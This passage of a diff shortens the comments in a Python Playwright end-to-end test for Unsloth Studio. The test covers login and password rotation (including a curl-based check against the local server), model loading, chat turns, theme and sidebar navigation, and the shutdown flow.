                 pass  # best-effort -- proceed even if network never idles
             pw_field = page.locator("#new-password")
             pw_field.wait_for(state = "visible", timeout = 60_000)
-            # NOTE: do NOT call shoot() between wait_for and fill -- the
-            # screenshot's font-load wait gives the React form a chance to
-            # detach if any background state-poll fires. Take screenshots
-            # AFTER the form is committed instead.
+            # Do NOT shoot() between wait_for and fill -- the screenshot's
+            # font-load wait can let a background poll detach the form.
             pw_field.fill(NEW, timeout = 60_000)
             page.fill("#confirm-password", NEW, timeout = 60_000)
             shoot("01-change-password-filled")
-            # Click submit AND wait for the POST /api/auth/change-password
-            # response in the same step. macos-14 free runners under
-            # --single-process Chromium occasionally hit
-            # net::ERR_NO_BUFFER_SPACE when the renderer requests a
-            # resource (run 25586583024 / job 75116256117 had the
-            # change-password POST silently buffer-fail and the page
-            # stayed on /change-password; even after my page.goto(BASE)
-            # recovery the auth state never persisted). Tying the
-            # click to the response wait surfaces the buffer-error
-            # IMMEDIATELY in this attempt rather than at the next
-            # composer.wait_for, so the next retry-iteration starts
-            # fresh with a known-bad starting state.
+            # Click submit AND wait for the POST response together so a
+            # macos-14 net::ERR_NO_BUFFER_SPACE buffer-fail surfaces now,
+            # not at the next composer.wait_for.
             status, _ = click_and_wait_for_response(
                 page,
                 url_substr = "/api/auth/change-password",
@@ -384,8 +274,7 @@ with sync_playwright() as p:
                 pass
             if _form_attempt < 2:
                 # ERR_NO_BUFFER_SPACE needs the OS to recover socket
-                # buffers; immediate retry just re-fails. Back off
-                # 5s then 15s before next attempt.
+                # buffers; back off 5s then 15s before retrying.
                 if "ERR_NO_BUFFER_SPACE" in str(e):
                     backoff_s = 5 if _form_attempt == 0 else 15
                     print(
@@ -394,8 +283,8 @@ with sync_playwright() as p:
                         flush = True,
                     )
                     time.sleep(backoff_s)
-                # Recovery: replace the page if it died, otherwise the
-                # next loop iteration's page.goto() handles the reload.
+                # Replace the page if it died; otherwise next iteration's
+                # page.goto() handles the reload.
                 page = recover_or_replace_page(
                     page,
                     ctx,
@@ -409,17 +298,9 @@ with sync_playwright() as p:
     # 2. Chat surface mounts, default model surface is visible.
     # ─────────────────────────────────────────────────────
     step("wait for composer to mount")
-    # The change-password POST resolves async and the React router
-    # rebuilds the tree (login form -> chat shell) on success. On
-    # macos-14 free runners under --single-process Chromium, the
-    # rebuild is heavy enough under software rendering that one of
-    # two things happens if we race straight into wait_for():
-    #   (a) the composer textarea is still suspending and we burn
-    #       the 60s ceiling waiting for it to mount, or
-    #   (b) the renderer crashes mid-mount, which under
-    #       --single-process takes the entire context down (next
-    #       Playwright call returns TargetClosedError).
-    # Defend against both: settle network first, then attempt
+    # After change-password the router rebuilds login -> chat shell; on
+    # macos-14 racing straight into wait_for() either burns the timeout
+    # or crashes the renderer mid-mount. Settle network first, then
     # wait_for with one recovery cycle on failure.
     try:
         page.wait_for_load_state("networkidle", timeout = 30_000)
@@ -457,11 +338,9 @@ with sync_playwright() as p:
             except Exception:
                 pass
             if _attempt == 0:
-                # Recovery: re-navigate. If the page died (renderer
-                # gone under --single-process) we open a fresh page in
-                # the same context so the auth state in localStorage
-                # survives; otherwise we re-goto the same URL to force
-                # a clean re-render.
+                # Re-navigate: open a fresh page in the same context if
+                # the renderer died (localStorage auth survives), else
+                # re-goto to force a clean re-render.
                 page = recover_or_replace_page(
                     page,
                     ctx,
@@ -475,9 +354,8 @@ with sync_playwright() as p:
         raise last_err
     shoot("03-chat-loaded")
 
-    # Pull the auth token now -- /api/models/list and
-    # /api/inference/load both require a bearer. The frontend
-    # stores it under "unsloth_auth_token" (auth/session.ts).
+    # /api/models/list and /api/inference/load need a bearer; the
+    # frontend stores it under "unsloth_auth_token" (auth/session.ts).
     token = page.evaluate(
         "() => localStorage.getItem('unsloth_auth_token')",
     )
@@ -502,12 +380,8 @@ with sync_playwright() as p:
     if not token:
         fail("could not obtain auth token after change-password")
 
-    # Verify the chat page's default model surface comes from
-    # backend/core/inference/defaults.py:DEFAULT_MODELS_GGUF[0],
-    # which is the canonical "what the user sees if nothing has
-    # been loaded yet" entry. A regression that reorders that
-    # list or hides the default would break the first-launch UX,
-    # which is what this assertion guards.
+    # Verify the chat page's default model matches DEFAULT_MODELS_GGUF[0]
+    # (defaults.py) -- guards the first-launch UX against list reorders.
     step("default_models[0] matches DEFAULT_MODELS_GGUF[0]")
     EXPECTED_DEFAULT = expected_default_model()
     defaults_resp = evaluate_fetch(
@@ -531,19 +405,16 @@ with sync_playwright() as p:
         )
     info(f"OK default_models[0] = {EXPECTED_DEFAULT}")
 
-    # The model selector button text on the chat page should say
-    # the default model's display name even before a model is
-    # loaded. The model-selector renders the current model name
-    # (or "Select model" if no current); for a fresh chat it
-    # should surface the default.
+    # The selector button should show the default model's name even
+    # before a model is loaded ("Select model" if none).
     selector_btn = page.locator(
         'button:has-text("Select model"), '
         'button:has-text("gemma"), '
         'button:has-text("Qwen"), '
         'button:has-text("Llama")'
     ).first
-    # Best-effort: the selector re-mounts as /api/models/list resolves,
-    # so use a short timeout and skip the snapshot on miss.
+    # Best-effort: selector re-mounts as /api/models/list resolves, so
+    # use a short timeout and skip the snapshot on miss.
     sel_text = ""
     try:
         sel_text = (selector_btn.text_content(timeout = 2_000) or "").strip()
@@ -554,17 +425,12 @@ with sync_playwright() as p:
         shoot("03b-default-model-button")
 
     # ─────────────────────────────────────────────────────
-    # 3. Trigger model load via the page's session cookies.
-    # Equivalent to the user clicking a model in the picker;
-    # we just call the same endpoint the picker would.
+    # 3. Trigger model load via the same endpoint the picker uses.
     # ─────────────────────────────────────────────────────
     step("load GGUF via /api/inference/load (uses session cookie)")
-    # Token already fetched above; reuse it for the load call.
-    # AbortSignal-bounded: the macos-14 --single-process Chromium had been
-    # observed wedging on this exact in-page fetch (run 25696797934 / job
-    # 75446949358) with zero further requests reaching the server. The
-    # 3-min budget is generous for a cold-cache GGUF load; on a wedge we
-    # surface a clean failure instead of a 30-min runner cancel.
+    # AbortSignal-bounded: macos-14 has been seen wedging on this fetch.
+    # The 3-min budget is generous for a cold-cache load; a wedge fails
+    # cleanly instead of forcing a 30-min runner cancel.
     load_resp = evaluate_fetch(
         page,
         f"{BASE}/api/inference/load",
@@ -587,25 +453,20 @@ with sync_playwright() as p:
         fail(f"/api/inference/load returned {load_resp['status']}: " f"{load_resp.get('body')!r}")
     info(f"loaded model: {(load_resp['body'] or {}).get('display_name')}")
 
-    # Studio caches the per-context model state in zustand; reload
-    # to make the chat composer pick up the loaded model.
+    # Studio caches model state in zustand; reload so the composer picks
+    # up the loaded model.
     page.reload()
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
 
     # ─────────────────────────────────────────────────────
-    # 3b. Model picker search bar -- click the model selector,
-    # type into the search box, verify filtering. We don't
-    # actually select a different model (that would trigger a
-    # multi-GB download); we just exercise the typeahead so a
-    # regression in the picker mount / debounced HF search would
-    # surface here.
+    # 3b. Model picker search bar -- exercise the typeahead filter.
+    # We don't actually select a different model (multi-GB download);
+    # this just catches picker-mount / debounced HF-search regressions.
     # ─────────────────────────────────────────────────────
     step("model picker: open + drive search bar")
-    # Stable selector first: [data-tour="chat-model-selector"] is the
-    # guided-tour anchor on the model picker button (app-sidebar.tsx).
-    # If the tour anchor moves the tour breaks, so this selector is at
-    # least as stable as anything else in the codebase.
+    # Prefer the guided-tour anchor [data-tour="chat-model-selector"]
+    # (app-sidebar.tsx) -- as stable as anything in the codebase.
     picker_btn = page.locator('[data-tour="chat-model-selector"]').first
     if picker_btn.count() == 0:
         # Fall back to text-based locators for older Studio builds.
@@ -626,11 +487,9 @@ with sync_playwright() as p:
         if search.count() == 0:
             soft_fail("model picker search input not found")
         else:
-            # Type "qwen" -> capture popover text. Type "llama" -> capture
-            # again. The two text snapshots must DIFFER, proving the
-            # typeahead actually filters the list (a regression that
-            # rendered the picker but ignored input would silently pass
-            # the old version of this test).
+            # "qwen" then "llama" popover text must DIFFER, proving the
+            # typeahead actually filters (else an ignored-input regression
+            # would silently pass).
             def picker_visible_text():
                 return page.evaluate("""() => {
                     const el = document.querySelector(
@@ -672,18 +531,15 @@ with sync_playwright() as p:
     ]
 
     def _bubble_count():
-        """Total number of [data-role='assistant'] elements (empty or not)."""
+        """Total [data-role='assistant'] elements (empty or not)."""
         return page.evaluate("""() => {
             return document.querySelectorAll('[data-role="assistant"]').length;
         }""")
 
     def send_and_wait(prompt, idx):
-        # 1. Wait until the previous turn has fully stopped: Send
-        #    button is attached AND Stop button is detached. The
-        #    assistant-ui composer hot-swaps these inside a single
-        #    DOM slot; relying on Stop's detached state alone is
-        #    racy (the slot can briefly show neither during
-        #    transition).
+        # 1. Wait until the previous turn fully stopped: Send attached
+        #    AND Stop detached. The composer hot-swaps both in one DOM
+        #    slot, so Stop's detached state alone is racy.
         page.wait_for_selector(
             'button[aria-label="Send message"]',
             state = "attached",
@@ -696,34 +552,26 @@ with sync_playwright() as p:
                 timeout = 5_000,
             )
         except Exception:
-            # Stop button still hanging on -- that's the prior turn
-            # mid-stream. Wait it out at the full per-turn budget.
+            # Stop still on -- prior turn mid-stream. Wait it out at the
+            # full per-turn budget.
             page.wait_for_selector(
                 'button[aria-label="Stop generating"]',
                 state = "detached",
                 timeout = TURN_TIMEOUT_MS,
             )
 
-        # 2. Snapshot total bubble count BEFORE send. We then wait
-        #    for total count to grow by exactly 1 (proves the new
-        #    placeholder rendered) and for the Stop button to come
-        #    + go (proves the new turn ran end-to-end). We do NOT
-        #    require the new bubble's text to be non-empty: an
-        #    empty assistant response is a legitimate model output,
-        #    not a test failure. The earlier "non-empty count >=
-        #    baseline + 1" predicate broke when any prior turn
-        #    streamed empty (which gemma-3-270m DOES on simple
-        #    prompts at temperature 0), because that empty bubble
-        #    became permanently "stuck" below the moving threshold.
+        # 2. Snapshot total bubble count before send; we wait for it to
+        #    grow by exactly 1. We do NOT require non-empty text: an
+        #    empty assistant response is legitimate (gemma-3-270m does
+        #    this at temp 0), and the old non-empty predicate got stuck
+        #    on such bubbles.
         bubbles_before = _bubble_count()
         composer.click()
         composer.fill(prompt)
         page.locator('button[aria-label="Send message"]').click()
 
-        # 3. Wait for the new placeholder bubble to render. This
-        #    confirms the click was actionable AND the request
-        #    issued (assistant-ui only mounts the placeholder once
-        #    the runtime accepts the message).
+        # 3. Wait for the new placeholder bubble to render -- confirms
+        #    the click was actionable and the request issued.
         page.wait_for_function(
             """(want) => {
                 return document.querySelectorAll(
@@ -734,12 +582,9 @@ with sync_playwright() as p:
             timeout = TURN_TIMEOUT_MS,
         )
 
-        # 4. Wait for streaming to FINISH for this specific turn.
-        #    We wait for Stop button to APPEAR (proves streaming
-        #    started) with a short budget; if it never appears,
-        #    that's fine -- gemma-3-270m can finish before the
-        #    Stop button paints. Either way we then wait for it
-        #    to be detached at the full per-turn budget.
+        # 4. Wait for this turn's streaming to finish. Stop may never
+        #    appear (gemma-3-270m can finish before it paints), so its
+        #    appearance is best-effort; then wait for it to detach.
         try:
             page.wait_for_selector(
                 'button[aria-label="Stop generating"]',
@@ -768,10 +613,8 @@ with sync_playwright() as p:
     if len(texts) < len(prompts):
         fail(f"expected >= {len(prompts)} assistant bubbles, got {len(texts)}")
     info(f"five turn lengths = {[len(t) for t in texts[:5]]}")
-    # Surface /v1/chat/completions HTTP status distribution so a flake
-    # is debuggable from the CI log directly. A 4xx during a chat
-    # turn is almost always the upstream cause of a hung
-    # wait_for_function on a downstream turn.
+    # Surface /v1/chat/completions status distribution: a 4xx here is
+    # usually the cause of a hung wait_for_function downstream.
     if chat_completions_responses:
         statuses = [code for code, _ in chat_completions_responses]
         bad = [code for code in statuses if code >= 400]
@@ -804,11 +647,9 @@ with sync_playwright() as p:
         shoot("05-after-regenerate")
         info("regenerate completed")
     else:
-        # Don't strict-fail on regenerate -- the assistant-ui
-        # ActionBarPrimitive.Reload doesn't expose a stable
-        # aria-label, so the test depends on tooltip text matching
-        # which is tied to the icon set. Soft-skip until we add a
-        # data-testid in the action bar (TODO).
+        # Don't strict-fail: ActionBarPrimitive.Reload has no stable
+        # aria-label so the locator relies on icon-tied tooltip text.
+        # Soft-skip until we add a data-testid (TODO).
         info("WARN regenerate button not visible (known-fragile locator, skipped)")
 
     # ─────────────────────────────────────────────────────
@@ -822,23 +663,20 @@ with sync_playwright() as p:
     shoot("06-after-extra-turns")
 
     # ─────────────────────────────────────────────────────
-    # 7. Composer toggle buttons. Each renders with an
-    # aria-label that flips between "Disable X" / "Enable X"
-    # depending on its current state (shared-composer.tsx).
+    # 7. Composer toggle buttons. Each aria-label flips between
+    # "Disable X" / "Enable X" with state (shared-composer.tsx).
     # ─────────────────────────────────────────────────────
     step("composer toggle buttons (Thinking / Web search / Code execution)")
     for feature in ("thinking", "web search", "code execution"):
-        # Look for either "Disable X" or "Enable X" -- whichever
-        # is currently rendered.
+        # Match whichever of "Disable X" / "Enable X" is rendered.
         toggle = page.locator(
             f'button[aria-label="Disable {feature}"], ' f'button[aria-label="Enable {feature}"]'
         ).first
         if toggle.count() == 0:
             info(f"toggle '{feature}' not present on this layout")
             continue
-        # Skip if the model doesn't support this capability (the
-        # button is rendered disabled). gemma-3-270m, for instance,
-        # has no reasoning so "Disable thinking" is permanent-disabled.
+        # Skip if the button is disabled (model lacks the capability;
+        # e.g. gemma-3-270m has no reasoning, so thinking stays disabled).
         if toggle.is_disabled():
             info(f"toggle '{feature}' is disabled for this model -- skip")
             continue
@@ -866,8 +704,7 @@ with sync_playwright() as p:
     shoot("07-toggles-cycled")
 
     # ─────────────────────────────────────────────────────
-    # 8. Configuration sheet: open, find Temperature slider,
-    # press Home (→ 0), close.
+    # 8. Configuration sheet: open, drive Temperature slider, close.
     # ─────────────────────────────────────────────────────
     cfg_open = page.locator('button[aria-label="Open configuration"]').first
     if cfg_open.count() > 0:
@@ -875,13 +712,9 @@ with sync_playwright() as p:
         cfg_open.click()
         page.wait_for_timeout(500)
         shoot("08-config-open")
-        # ParamSlider uses Radix UI Slider. Each slider gets a
-        # role="slider" attribute. Walk every slider in the sheet
-        # by index, focus it, send Home (-> min) so the test
-        # state is fully deterministic. Whatever the labels are
-        # ("Temperature", "Top P", "Min P", "Repetition penalty",
-        # max_tokens etc.), we drive them all to min so a
-        # regression that locks a slider returns errors here.
+        # Walk every Radix slider (role="slider") by index, focus it,
+        # press Home (-> min) for deterministic state; a locked slider
+        # surfaces an error here.
         sliders = page.locator('[role="slider"]')
         n_sliders = sliders.count()
         info(f"configuration sheet exposes {n_sliders} slider(s)")
@@ -895,10 +728,8 @@ with sync_playwright() as p:
             except Exception as exc:
                 info(f"  slider[{idx}] focus/Home failed: {exc!r}")
         shoot("09-config-all-min")
-        # Then drive Temperature specifically to 0.0 to make the
-        # downstream chat deterministic. Temperature is the *first*
-        # slider in the sheet (configuration-sheet.tsx renders it
-        # first); Home already pinned it to 0.
+        # Temperature is the first slider (configuration-sheet.tsx), so
+        # Home already pinned it to 0 for determinism.
         info("Temperature set to slider min (0.0) for determinism")
         # Close.
         close_btn = page.locator('button[aria-label="Close configuration"]').first
@@ -909,24 +740,17 @@ with sync_playwright() as p:
         page.wait_for_timeout(300)
 
     # ─────────────────────────────────────────────────────
-    # 9. Theme toggle -- multiple cycles + deterministic
-    # computed-background-color check. The light theme
-    # uses near-white (>240); dark uses near-black (<40).
+    # 9. Theme toggle -- multiple cycles + computed-bg-color check
+    # (light is near-white >240; dark is near-black <40).
     # ─────────────────────────────────────────────────────
     acct = page.locator('button[aria-label$=" account menu"]').first
     if acct.count() > 0:
         step("theme toggle x3 with computed-color assertion")
         observed = []
         for cycle in range(3):
-            # Wait for any prior dropdown to fully detach. The Radix
-            # Account-menu sets data-state="open" while the view-
-            # transition is mid-flight; clicking it again before that
-            # clears would no-op silently and the for-loop bailed
-            # after cycle 1 in earlier runs. The view transition triggered
-            # by the theme toggle can run >700ms on slow CI runners, so
-            # both the "menu detached" wait and the "menu appeared" wait
-            # need a comfortable budget; 3s was too tight and caused
-            # cycle-2 flake.
+            # Wait for any prior dropdown to fully detach: clicking while
+            # the view-transition is still open no-ops silently. The
+            # transition can run >700ms on slow CI, so use a roomy budget.
             try:
                 page.wait_for_function(
                     """() => {
@@ -941,9 +765,8 @@ with sync_playwright() as p:
             except Exception:
                 pass
             page.wait_for_timeout(250)
-            # Try the click + wait; if the first click silently no-oped
-            # (e.g. mid-view-transition swallowed the event), retry once
-            # after pressing Escape to force-close any stray popup.
+            # Retry once (after Escape to clear stray popups) if the first
+            # click is silently swallowed mid-view-transition.
             opened = False
             for attempt in range(2):
                 try:
@@ -975,15 +798,10 @@ with sync_playwright() as p:
                 page.keyboard.press("Escape")
                 soft_fail(f"theme cycle {cycle + 1}: theme menuitem missing")
                 break
-            # Click sequence with two fallbacks. On small CI viewports the
-            # Radix dropdown can render the theme item below the visible
-            # area; force=True still requires the element to be in the
-            # viewport, so the regular .click() fails with "Element is
-            # outside of the viewport". Fall back to scroll-into-view +
-            # click, then to a synthetic .click() via evaluate() that
-            # bypasses Playwright's viewport check entirely (Radix's
-            # menuitem handler only needs the click event, not a real
-            # pointer landing on a pixel).
+            # Click with fallbacks: a small CI viewport can push the item
+            # off-screen (force=True still needs it in viewport). Fall back
+            # to scroll-into-view, then a synthetic evaluate() .click() that
+            # skips Playwright's viewport check.
             click_err = None
             for click_attempt in range(3):
                 try:
@@ -1005,10 +823,8 @@ with sync_playwright() as p:
                     f"theme cycle {cycle + 1}: theme menuitem click failed " f"({click_err!r})"
                 )
                 break
-            # Settle. The ".dark" class on <html> is the ground
-            # truth (theme-store toggles only that class); the
-            # ".light" sibling is steady-state from next-themes
-            # so don't gate on it.
+            # Settle. The ".dark" class on <html> is the ground truth
+            # (theme-store toggles only that); don't gate on ".light".
             page.wait_for_timeout(700)
             bg = page.evaluate("""() => {
                 const root = document.documentElement;
@@ -1022,21 +838,17 @@ with sync_playwright() as p:
             observed.append(bg)
             shoot(f"10-theme-cycle-{cycle + 1}")
             info(f"  cycle {cycle + 1}: dark={bg['isDark']} body bg={bg['bg']!r}")
-        # Sanity check: across cycles we should observe both a
-        # light state (body bg roughly near-white) and a dark state
-        # (body bg near-black). If we only saw one polarity the
-        # toggle didn't flip.
+        # Across cycles we should see both a near-white (light) and a
+        # near-black (dark) body bg; one polarity means the toggle stuck.
         rgbs = [parse_rgb(o["bg"]) for o in observed if parse_rgb(o["bg"])]
         light_seen = any(min(r) > 220 for r in rgbs)
         dark_seen = any(max(r) < 60 for r in rgbs)
         if len(observed) < 3:
             soft_fail(f"theme toggle ran only {len(observed)} cycle(s), expected 3")
-        # Don't strict-fail on "both polarities observed" -- the
-        # CI runner's prefers-color-scheme + Studio's "system" default
-        # can collapse to a single polarity even after a successful
-        # toggle (the .dark classlist toggles correctly, but the
-        # resolved theme can stay constant). Surface as info; the
-        # 3-cycle loop completion above is the real invariant.
+        # Don't strict-fail on both polarities: the runner's
+        # prefers-color-scheme + Studio's "system" default can collapse
+        # to one polarity even when .dark toggles correctly. The 3-cycle
+        # completion above is the real invariant.
         if light_seen and dark_seen:
             info("OK light + dark computed background colors observed")
         else:
@@ -1050,14 +862,10 @@ with sync_playwright() as p:
     # 10. Sidebar nav: New Chat, Compare, Search, Recipes.
     # ─────────────────────────────────────────────────────
     def click_nav(label, expected_url_pat = None):
-        # Resolve the sidebar nav button. The plain
-        # get_by_role("button", name=...) lookup works on Linux
-        # Chromium because the accessible-name algorithm there picks
-        # up `tooltip={label}` from SidebarMenuButton, but on macOS
-        # Chromium the tooltip-derived name is sometimes empty when
-        # the sidebar collapses to icon-only mode. Fall back through
-        # progressively more permissive locators so the test stays
-        # green on both platforms.
+        # Resolve the sidebar nav button. get_by_role(name=...) works on
+        # Linux but the tooltip-derived name can be empty on macOS when
+        # the sidebar collapses to icons, so fall back to more permissive
+        # locators.
         candidates = [
             page.get_by_role("button", name = re.compile(rf"^\s*{label}\s*$", re.I)).first,
             page.locator(f'button:has-text("{label}")').first,
@@ -1072,11 +880,10 @@ with sync_playwright() as p:
         if btn is None:
             soft_fail(f"nav '{label}' not found")
             return False
-        # force=True bypasses Playwright's actionability check. The
-        # button IS visible + enabled, but the post-theme-toggle view-
-        # transition can leave <html> reported as the topmost element
-        # for a beat (we already neutralise startViewTransition via
-        # add_init_script; this is belt-and-suspenders).
+        # force=True bypasses the actionability check: the post-toggle
+        # view-transition can briefly report <html> as topmost even
+        # though the button is visible + enabled (belt-and-suspenders
+        # atop the startViewTransition neutraliser).
         try:
             btn.click(force = True, timeout = 5_000)
         except Exception as exc:
@@ -1094,15 +901,15 @@ with sync_playwright() as p:
     step("sidebar nav: New Chat -> Compare -> Search -> Recipes")
     click_nav("New Chat", r"/chat")
     shoot("11-new-chat")
-    # Compare moved into the composer + menu (Tools and attachments).
+    # Compare moved into the composer "Tools and attachments" menu.
     plus_btn = page.get_by_role("button", name = re.compile(r"Tools and attachments", re.I)).first
     if plus_btn.count() > 0:
         plus_btn.click(force = True)
         page.wait_for_timeout(400)
         compare_item = page.get_by_role("menuitem", name = re.compile(r"Compare chat", re.I)).first
         if compare_item.count() == 0:
-            # The plus menu was decluttered: Compare chat now lives in the
-            # "More" submenu; hover (then click as fallback) to open it.
+            # Compare chat moved into the "More" submenu; hover (then
+            # click as fallback) to open it.
             more_trigger = page.get_by_role("menuitem", name = re.compile(r"^More$", re.I)).first
             if more_trigger.count() > 0:
                 more_trigger.hover()
@@ -1141,10 +948,8 @@ with sync_playwright() as p:
     composer.wait_for(state = "visible", timeout = 60_000)
 
     # ─────────────────────────────────────────────────────
-    # 11. API / Developer tab via account menu -> opens the
-    # Settings dialog with the api-keys tab. Verify we can see
-    # the Create API Key form (or existing keys table); regressions
-    # that hide the api-keys management UI surface here.
+    # 11. API / Developer tab via account menu -> Settings dialog,
+    # api-keys tab. Guards against the management UI being hidden.
     # ─────────────────────────────────────────────────────
     if acct.count() > 0:
         step("Developer (API) tab via account menu")
@@ -1175,16 +980,13 @@ with sync_playwright() as p:
             page.keyboard.press("Escape")
 
     # ─────────────────────────────────────────────────────
-    # 11b. Recipes tab: verify cards render + we can click one.
-    # The Recipes route renders a grid of preset cards; a
-    # regression that breaks the loader would render zero cards
-    # or crash the route.
+    # 11b. Recipes tab: cards render + we can click one. A broken
+    # loader would render zero cards or crash the route.
     # ─────────────────────────────────────────────────────
     step("Recipes tab: cards render + click first card")
     page.goto(f"{BASE}/data-recipes")
     page.wait_for_timeout(1500)
-    # Recipe cards are rendered as <a> or button elements; count
-    # all clickable headings under main + screenshot.
+    # Count clickable headings/cards under main, then screenshot.
     headings = page.locator("main h2, main h3, [data-recipe], a[href*='/data-recipes/']")
     n_cards = headings.count()
     info(f"Recipes route headings/cards: {n_cards}")
@@ -1205,30 +1007,17 @@ with sync_playwright() as p:
     composer.wait_for(state = "visible", timeout = 60_000)
 
     # ─────────────────────────────────────────────────────
-    # 11c. Recents: the chat sidebar lists previous threads. We
-    # already created several turns above (which gets persisted
-    # as a thread). Find the sidebar's recents region and click
-    # the most-recent entry. This catches regressions in the
-    # thread-history loader / route param plumbing.
+    # 11c. Recents: click the most-recent thread (we persisted one
+    # via the turns above). Guards the thread-history loader / route.
     # ─────────────────────────────────────────────────────
     step("Recents: click previous chat in sidebar")
-    # We sent the prompts ["Reply with exactly: hello", "What is 1+1?",
-    # "Reply with exactly: world", ...] above. The thread title that
-    # gets persisted is typically a snippet of the first user message
-    # (Studio summarises after a few turns). We accept either a literal
-    # word from one of our prompts OR a short Studio-summary heuristic.
+    # The persisted thread title is usually a snippet of the first user
+    # message, so accept any of our prompt keywords.
     PROMPT_KEYWORDS = ("hello", "world", "tree", "yes", "1+1", "2+2")
-    # Use the structural data-testid the frontend renders on each
-    # chat-history entry (studio/frontend/src/features/chat/thread-
-    # sidebar.tsx). The previous text-filtered selector
-    #   "aside a, aside button, [data-sidebar='sidebar'] a, ..."
-    # matched coalesced sidebar nav text like 'unslothBETA',
-    # 'UUnslothUnsloth' which the EXCLUDE regex didn't strip; the
-    # test then clicked nav links, lost its frame, hit per-locator
-    # timeouts and burned 13-23 minutes per platform on this single
-    # step (run 25537467494 macui = 23m9s, winui = 13m6s, linui = 13m5s).
-    # Belt-and-suspenders: bound the whole step at 30s so a misbehaving
-    # selector can never blow up wallclock the way the old loop did.
+    # Use the structural data-testid (thread-sidebar.tsx): the old
+    # text-filtered selector matched coalesced nav text and burned
+    # 13-23 min per platform. Also bound the whole step at 30s so a
+    # misbehaving selector can't blow up wallclock.
     threads = page.locator('[data-testid="recent-thread"]')
     deadline = time.monotonic() + 30
     clicked_recent = False
@@ -1247,9 +1036,7 @@ with sync_playwright() as p:
             page.wait_for_timeout(500)
             shoot("15d-recent-clicked")
             info(f"OK clicked recent entry: {t[:60]!r}")
-            # Strict check: after clicking the Recents entry, the
-            # thread we land on must include at least one of our
-            # prompts in its rendered messages.
+            # The landed thread must include at least one of our prompts.
             turns_text = page.evaluate(
                 """() => {
                 const els = document.querySelectorAll(
@@ -1281,18 +1068,13 @@ with sync_playwright() as p:
     composer.wait_for(state = "visible", timeout = 60_000)
 
     # ─────────────────────────────────────────────────────
-    # 12. Image attachment UI (upload widget reachable). The
-    # current model is text-only so we don't assert a vision
-    # response -- just that the attachment button is there
-    # and the file input accepts a PNG. CI's gemma-4-E2B
-    # job covers the actual vision path.
+    # 12. Image attachment UI reachable. The current model is text-only,
+    # so just check the button exists (CI's gemma-4-E2B covers vision).
     # ─────────────────────────────────────────────────────
     step("attachment widget reachable")
     attach = page.locator('button[aria-label="Add Attachment"]').first
     if attach.count() > 0:
-        # Just hover -- triggering the file picker mid-test
-        # would block on a native dialog. Verifying the
-        # button is reachable is enough.
+        # Only hover -- clicking would block on the native file dialog.
         attach.hover()
         page.wait_for_timeout(200)
         shoot("16-attachment-hover")
@@ -1331,19 +1113,13 @@ with sync_playwright() as p:
     info("OK old=401, new=200")
 
     # ─────────────────────────────────────────────────────
-    # 16. Out-of-band ("terminal") password rotation.
-    # POST /api/auth/change-password from a real subprocess(curl)
-    # invocation -- this is the same surface a sysadmin / another
-    # tab / a desktop helper would use, and the security promise
-    # is: rotating the password from "the terminal" must invalidate
-    # the previous credentials. The endpoint also revokes refresh
-    # tokens server-side (auth.py:152), so /api/auth/refresh from
-    # the still-open browser context must fail too.
+    # 16. Out-of-band ("terminal") password rotation via subprocess(curl).
+    # Rotating from a shell must invalidate the old creds and revoke
+    # refresh tokens server-side (auth.py:152), so the browser's
+    # /api/auth/refresh must fail too.
     # ─────────────────────────────────────────────────────
     step("rotate password via subprocess(curl) -- the 'terminal' path")
-    # Get a fresh access token by logging in via the API rather than
-    # reusing whatever's in localStorage; this matches what an admin
-    # would actually do from a shell.
+    # Log in via the API for a fresh token (what an admin does from a shell).
     login_proc = subprocess.run(
         [
             "curl",
@@ -1400,9 +1176,8 @@ with sync_playwright() as p:
         fail(f"after CLI rotation, NEW2 pw should be 200, got {s_new2}")
     info("OK after CLI rotation: NEW=401, NEW2=200 -- old studio creds dead")
 
-    # The browser still has the pre-rotation access token. Refresh
-    # tokens were revoked server-side by /change-password (auth.py),
-    # so /api/auth/refresh from the browser context must now fail.
+    # /change-password revoked refresh tokens server-side (auth.py), so
+    # the browser's /api/auth/refresh must now fail.
     refresh_after = evaluate_fetch(
         page,
         f"{BASE}/api/auth/refresh",
@@ -1419,21 +1194,15 @@ with sync_playwright() as p:
     )
 
     # ─────────────────────────────────────────────────────
-    # 17. Shutdown button via the account menu.
-    # The Shutdown menuitem opens an AlertDialog ("Stop Unsloth
-    # Studio?") whose primary action is "Stop server"; clicking
-    # it POSTs /api/shutdown and then replaces document.body with
-    # the "Unsloth Studio has stopped" placeholder. /api/health
-    # should become unreachable shortly after.
+    # 17. Shutdown via the account menu. The "Stop server" action
+    # POSTs /api/shutdown, swaps in the "Unsloth Studio has stopped"
+    # placeholder, and /api/health goes unreachable shortly after.
     # ─────────────────────────────────────────────────────
     step("Shutdown via account menu")
-    # Re-login through the UI with NEW2 so the browser has a valid
-    # access token for the /api/shutdown call (the previous one
-    # was invalidated by the CLI rotation above).
-    # The CLI rotation left a stale token, so the SPA auth guard can
-    # client-side-redirect mid-navigation and abort this goto with
-    # net::ERR_ABORTED. Resolve on domcontentloaded and tolerate the
-    # abort; the password-field wait below confirms we reached /login.
+    # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
+    # invalidated the old one). The stale token can make the SPA auth
+    # guard abort this goto with ERR_ABORTED; resolve on
+    # domcontentloaded and tolerate it -- the pw-field wait confirms /login.
     try:
         page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
     except Exception as exc:
@@ -1468,9 +1237,8 @@ with sync_playwright() as p:
     stop_btn.wait_for(state = "visible", timeout = 5_000)
     stop_btn.click()
 
-    # Wait for the post-shutdown placeholder body. The component
-    # replaces document.body.innerHTML with text containing
-    # "Unsloth Studio has stopped." once /api/shutdown returns ok.
+    # Wait for the post-shutdown placeholder body (the component swaps in
+    # "Unsloth Studio has stopped." once /api/shutdown returns ok).
     try:
         page.wait_for_function(
             """() => /Unsloth Studio has stopped/.test(document.body.innerText)""",
@@ -1481,8 +1249,7 @@ with sync_playwright() as p:
     except Exception as exc:
         info(f"WARN shutdown placeholder didn't render: {exc!r}")
 
-    # Now /api/health must become unreachable (process exited or is
-    # at least not listening). Poll for up to 15 s.
+    # /api/health must now be unreachable; poll for up to 15s.
     host = re.sub(r"^https?://", "", BASE).split(":")[0]
     port = int(re.search(r":(\d+)", BASE).group(1)) if ":" in BASE else 80
     deadline = time.time() + 15
@@ -1502,19 +1269,10 @@ with sync_playwright() as p:
         except urllib.error.URLError as exc:
             info(f"OK /api/health unreachable: {exc!r}")
 
-    # Some pageerrors are benign in this test:
